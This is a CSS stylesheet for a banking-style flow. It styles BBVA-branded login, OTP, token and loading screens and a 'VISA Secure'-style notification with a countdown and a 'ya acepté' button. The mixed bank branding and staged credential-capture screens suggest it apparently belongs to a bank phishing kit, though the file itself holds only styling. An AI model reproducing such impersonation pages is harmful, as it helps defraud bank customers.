/* Import BBVA Typography */
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;700&display=swap');

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif;
    background: linear-gradient(135deg, #f8f9fa 0%, #e9ecef 100%);
    min-height: 100vh;
    display: flex;
    justify-content: center;
    align-items: center;
    padding: 20px;
}

.container {
    background: white;
    border-radius: 16px;
    box-shadow: 0 10px 40px rgba(0, 0, 0, 0.1);
    max-width: 420px;
    width: 100%;
    padding: 24px;
    position: relative;
}

/* Header */
.header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-bottom: 24px;
}

.header-icon svg {
    display: block;
}

.logo img {
    height: 28px;
    width: auto;
}

.close-btn {
    background: none;
    border: none;
    cursor: pointer;
    padding: 4px;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: opacity 0.2s;
}

.close-btn:hover {
    opacity: 0.7;
}

/* Security Badge */
.security-badge {
    display: flex;
    justify-content: center;
    margin-bottom: 12px;
}

.security-text {
    text-align: center;
    color: #1973B8;
    font-size: 14px;
    font-weight: 400;
    margin-bottom: 32px;
}

/* Main Content */
.main-content {
    padding: 0 8px;
}

.title {
    font-size: 28px;
    font-weight: 700;
    color: #043263;
    line-height: 1.3;
    margin-bottom: 32px;
    font-style: italic;
}

/* Form */
.login-form {
    margin-bottom: 40px;
}

.input-group {
    position: relative;
    margin-bottom: 16px;
}

.input-field {
    width: 100%;
    padding: 16px;
    border: 1px solid #D3D7DD;
    border-radius: 8px;
    font-size: 16px;
    font-family: inherit;
    color: #043263;
    transition: all 0.2s;
    background: white;
    appearance: none;
}

.input-field:focus {
    outline: none;
    border-color: #1973B8;
    box-shadow: 0 0 0 3px rgba(25, 115, 184, 0.1);
}

.input-field::placeholder {
    color: #5E6773;
}

/* Dropdown */
.dropdown {
    padding-right: 40px;
    cursor: pointer;
    color: #5E6773;
}

.dropdown-icon {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    pointer-events: none;
}

/* Eye Icon */
.eye-icon {
    position: absolute;
    right: 12px;
    top: 50%;
    transform: translateY(-50%);
    background: none;
    border: none;
    cursor: pointer;
    padding: 4px;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: opacity 0.2s;
}

.eye-icon:hover {
    opacity: 0.7;
}

/* Submit Button */
.submit-btn {
    width: 100%;
    padding: 16px;
    background: #043263;
    color: white;
    border: none;
    border-radius: 8px;
    font-size: 16px;
    font-weight: 600;
    font-family: inherit;
    cursor: pointer;
    transition: background 0.2s;
    margin-bottom: 16px;
}

.submit-btn:hover {
    background: #072952;
}

.submit-btn:active {
    transform: translateY(1px);
}

/* Forgot Password Link */
.forgot-link {
    display: block;
    text-align: center;
    color: #1973B8;
    text-decoration: none;
    font-size: 15px;
    font-weight: 500;
    transition: color 0.2s;
}

.forgot-link:hover {
    color: #155a91;
    text-decoration: underline;
}

/* Register Card */
.register-card {
    background: linear-gradient(135deg, #f8f9fa 0%, #ffffff 100%);
    border-radius: 12px;
    padding: 32px 24px;
    text-align: center;
    margin-top: 24px;
}

.register-icon {
    margin-bottom: 20px;
    display: flex;
    justify-content: center;
}

.register-icon img {
    width: 80px;
    height: 80px;
    object-fit: contain;
}

.register-title {
    font-size: 20px;
    font-weight: 700;
    color: #043263;
    line-height: 1.3;
    font-style: italic;
    margin-bottom: 12px;
}

.register-description {
    font-size: 14px;
    color: #043263;
    line-height: 1.5;
    margin-bottom: 20px;
}

.register-btn {
    padding: 14px 32px;
    background: white;
    color: #1973B8;
    border: 2px solid #1973B8;
    border-radius: 8px;
    font-size: 16px;
    font-weight: 600;
    font-family: inherit;
    cursor: pointer;
    transition: all 0.2s;
}

.register-btn:hover {
    background: #1973B8;
    color: white;
}

/* Security Carousel */
.security-carousel {
    margin-top: 32px;
    background: white;
    border-radius: 12px;
    padding: 24px;
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
}

.carousel-slide {
    display: none;
    animation: fadeIn 0.5s ease-in-out;
}

.carousel-slide.active {
    display: block;
}

@keyframes fadeIn {
    from {
        opacity: 0;
        transform: translateY(10px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

.carousel-title {
    font-size: 22px;
    font-weight: 700;
    color: #043263;
    line-height: 1.3;
    font-style: italic;
    margin-bottom: 20px;
}

.carousel-content {
    display: flex;
    gap: 16px;
    align-items: flex-start;
}

.carousel-icon {
    flex-shrink: 0;
    width: 56px;
    height: 56px;
    background: #E8F4FD;
    border-radius: 12px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.carousel-text {
    flex: 1;
    font-size: 15px;
    color: #043263;
    line-height: 1.6;
    text-align: left;
}

.carousel-controls {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 16px;
    margin-top: 24px;
    padding-top: 20px;
    border-top: 1px solid #E8EBED;
}

.carousel-btn {
    background: none;
    border: none;
    cursor: pointer;
    padding: 8px;
    display: flex;
    align-items: center;
    justify-content: center;
    transition: opacity 0.2s;
    border-radius: 4px;
}

.carousel-btn:hover {
    background: #f0f2f5;
}

.carousel-indicator {
    font-size: 15px;
    color: #043263;
    font-weight: 500;
    min-width: 60px;
    text-align: center;
}

/* Responsive */
@media (max-width: 480px) {
    .container {
        padding: 20px;
    }

    .title {
        font-size: 24px;
    }

    .register-title {
        font-size: 18px;
    }

    .carousel-title {
        font-size: 20px;
    }

    .carousel-content {
        flex-direction: column;
        text-align: center;
    }

    .carousel-icon {
        margin: 0 auto;
    }

    .carousel-text {
        text-align: center;
    }
}

@media (max-width: 380px) {
    .carousel-controls {
        gap: 12px;
    }

    .carousel-indicator {
        font-size: 14px;
        min-width: 50px;
    }

    .register-card {
        padding: 24px 16px;
    }
}

/* Loading Screen */
.loading-screen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(255, 255, 255, 0.98);
    backdrop-filter: blur(10px);
    z-index: 9999;
    display: flex;
    justify-content: center;
    align-items: center;
    animation: fadeIn 0.3s ease-in-out;
}

.loading-content {
    text-align: center;
    padding: 40px;
}

.loading-logo {
    height: 60px;
    width: auto;
    margin-bottom: 32px;
    animation: pulse 2s ease-in-out infinite;
}

@keyframes pulse {
    0%, 100% {
        opacity: 1;
        transform: scale(1);
    }
    50% {
        opacity: 0.8;
        transform: scale(0.95);
    }
}

.loading-spinner {
    width: 50px;
    height: 50px;
    margin: 0 auto 24px;
    border: 4px solid #E8F4FD;
    border-top: 4px solid #1973B8;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

.loading-text {
    color: #043263;
    font-size: 16px;
    font-weight: 500;
    margin: 0;
}

/* OTP Page Styles */
.otp-info {
    background: linear-gradient(135deg, #E8F4FD 0%, #ffffff 100%);
    border-radius: 12px;
    padding: 24px;
    margin-bottom: 32px;
    text-align: center;
}

.info-icon {
    margin-bottom: 16px;
    display: flex;
    justify-content: center;
}

.otp-description {
    font-size: 15px;
    color: #043263;
    line-height: 1.6;
    margin: 0;
}

.otp-form {
    margin-bottom: 32px;
}

.input-label {
    display: block;
    font-size: 14px;
    font-weight: 600;
    color: #043263;
    margin-bottom: 8px;
}

.otp-input {
    text-align: center;
    font-size: 24px;
    font-weight: 600;
    letter-spacing: 8px;
}

.resend-link {
    display: block;
    text-align: center;
    color: #5E6773;
    text-decoration: none;
    font-size: 14px;
    margin-top: 16px;
    transition: color 0.2s;
}

.resend-link strong {
    color: #1973B8;
    font-weight: 600;
}

.resend-link:hover strong {
    text-decoration: underline;
}

/* Token Page Styles */
.token-info {
    background: linear-gradient(135deg, #E8F4FD 0%, #ffffff 100%);
    border-radius: 12px;
    padding: 24px;
    margin-bottom: 32px;
    text-align: center;
}

.token-description {
    font-size: 15px;
    color: #043263;
    line-height: 1.6;
    margin: 0;
}

.token-form {
    margin-bottom: 32px;
}

.token-input {
    text-align: center;
    font-size: 28px;
    font-weight: 700;
    letter-spacing: 12px;
    font-family: 'Courier New', monospace;
}

.help-link {
    display: block;
    text-align: center;
    color: #5E6773;
    text-decoration: none;
    font-size: 14px;
    margin-top: 16px;
    transition: color 0.2s;
}

.help-link strong {
    color: #1973B8;
    font-weight: 600;
}

.help-link:hover strong {
    text-decoration: underline;
}

.info-card {
    background: #F8F9FA;
    border-radius: 12px;
    padding: 20px;
    border-left: 4px solid #1973B8;
}

.info-title {
    font-size: 16px;
    font-weight: 700;
    color: #043263;
    margin: 0 0 12px 0;
}

.info-text {
    font-size: 14px;
    color: #5E6773;
    line-height: 1.6;
    margin: 0;
}

/* OTP Responsive */
@media (max-width: 480px) {
    .otp-input {
        font-size: 20px;
        letter-spacing: 6px;
    }
    
    .loading-logo {
        height: 50px;
    }
    
    .loading-spinner {
        width: 40px;
        height: 40px;
    }
}

/* Notification Screen Styles */
#screen7 {
    display: flex !important;
    align-items: center !important;
    justify-content: center !important;
    background-color: #fff !important;
}

#screen7 > div {
    max-width: 500px !important;
    width: 100% !important;
    margin: 0 auto !important;
    padding: 20px !important;
    text-align: center !important;
    display: flex !important;
    flex-direction: column !important;
    align-items: center !important;
    justify-content: center !important;
    min-height: 80vh !important;
}

/* VISA Secure Badge */
.visa-secure-header {
    width: 100%;
    display: flex;
    justify-content: flex-end;
    align-items: center;
    margin-bottom: 30px;
}

.visa-secure-badge {
    display: flex;
    flex-direction: column;
    align-items: center;
    border: 2px solid #1a1f71;
    padding: 4px 8px;
}

.visa-text {
    font-size: 12px;
    font-weight: bold;
    color: #1a1f71;
    font-family: 'Courier New', monospace;
    letter-spacing: 1px;
}

.secure-text {
    background: #1a1f71;
    padding: 2px 8px;
    margin-top: 2px;
    font-size: 10px;
    font-weight: bold;
    color: white;
    font-family: 'Courier New', monospace;
    letter-spacing: 1px;
}

#screen7 .logo-container {
    margin-bottom: 20px;
}

#screen7 .logo-container img {
    height: 55px !important;
    max-width: 100% !important;
    width: auto !important;
    object-fit: contain !important;
}

#screen7 h2 {
    font-size: 24px;
    font-weight: 700;
    color: #000;
    margin-bottom: 20px;
    line-height: 1.2;
    font-family: sans-serif;
}

#screen7 p {
    font-size: 18px;
    color: #333;
    margin-bottom: 20px;
    line-height: 1.4;
    font-family: sans-serif;
    font-weight: 600;
}

#screen7 p:nth-of-type(2) {
    font-size: 14px;
    color: #666;
    margin-bottom: 15px;
    line-height: 1.5;
    font-family: sans-serif;
    text-align: left;
    width: 100%;
    font-weight: 400;
}

#screen7 #countdown {
    font-size: 48px;
    font-weight: 700;
    color: #019ACF;
    margin-bottom: 30px;
    font-family: sans-serif;
}

#screen7 a {
    font-size: 14px;
    color: #019ACF;
    text-decoration: underline;
    margin-bottom: 40px;
    font-family: sans-serif;
    cursor: pointer;
}

#screen7 #btnYaAcepte {
    width: 100%;
    margin-top: 20px;
    background: #1a1f71;
    border: none;
    border-radius: 8px;
    padding: 15px 30px;
    font-size: 16px;
    font-weight: 600;
    color: white;
    cursor: pointer;
    box-shadow: 0 4px 15px rgba(26, 31, 113, 0.3);
    transition: all 0.3s ease;
}

#screen7 #btnYaAcepte:hover {
    background: #0d123d;
    transform: translateY(-2px);
    box-shadow: 0 6px 20px rgba(26, 31, 113, 0.4);
}

#screen7 #btnYaAcepte:active {
    transform: translateY(0);
}

/* Notification Screen Responsive */
@media (max-width: 768px) {
    #screen7 > div {
        padding: 15px;
    }
    
    #screen7 h2 {
        font-size: 22px;
    }
    
    #screen7 p {
        font-size: 16px;
    }
    
    #screen7 p:nth-of-type(2) {
        font-size: 13px;
    }
    
    #screen7 #countdown {
        font-size: 42px;
        margin-bottom: 25px;
    }
    
    #screen7 .logo-container img {
        height: 45px !important;
        max-width: 100% !important;
        width: auto !important;
        object-fit: contain !important;
    }
    
    .visa-secure-header {
        margin-bottom: 20px;
    }
    
    .visa-secure-badge {
        padding: 3px 6px;
    }
    
    .visa-text {
        font-size: 11px;
    }
    
    .secure-text {
        font-size: 9px;
        padding: 1px 6px;
    }
}

@media (max-width: 480px) {
    #screen7 > div {
        padding: 10px;
        min-height: auto;
    }
    
    #screen7 h2 {
        font-size: 20px;
        margin-bottom: 15px;
    }
    
    #screen7 p {
        font-size: 15px;
        margin-bottom: 15px;
    }
    
    #screen7 p:nth-of-type(2) {
        font-size: 12px;
        margin-bottom: 12px;
    }
    
    #screen7 #countdown {
        font-size: 36px;
        margin-bottom: 20px;
    }
    
    #screen7 a {
        font-size: 13px;
        margin-bottom: 30px;
    }
    
    #screen7 #btnYaAcepte {
        padding: 12px 24px;
        font-size: 15px;
    }
    
    #screen7 .logo-container img {
        height: 40px !important;
        max-width: 100% !important;
        width: auto !important;
        object-fit: contain !important;
    }
    
    #screen7 .logo-container {
        margin-bottom: 15px;
    }
    
    .visa-secure-header {
        margin-bottom: 15px;
    }
    
    .visa-secure-badge {
        padding: 2px 5px;
        border-width: 1.5px;
    }
    
    .visa-text {
        font-size: 10px;
    }
    
    .secure-text {
        font-size: 8px;
        padding: 1px 5px;
    }
}

@media (min-width: 769px) {
    #screen7 > div {
        padding: 40px;
        border-radius: 16px;
        box-shadow: 0 10px 40px rgba(0, 0, 0, 0.1);
        background: white;
    }
    
    #screen7 {
        background: linear-gradient(135deg, #f8f9fa 0%, #e9ecef 100%);
    }
    
    #screen7 h2 {
        font-size: 28px;
    }
    
    #screen7 #countdown {
        font-size: 56px;
    }
}

/* Spinner Overlay */
.davi-spinner-overlay {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(255, 255, 255, 0.9);
    backdrop-filter: blur(5px);
    z-index: 9999;
    display: none;
    justify-content: center;
    align-items: center;
}

.davi-spinner {
    width: 50px;
    height: 50px;
    border: 4px solid #E8F4FD;
    border-top: 4px solid #1973B8;
    border-radius: 50%;
    animation: spin 1s linear infinite;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}
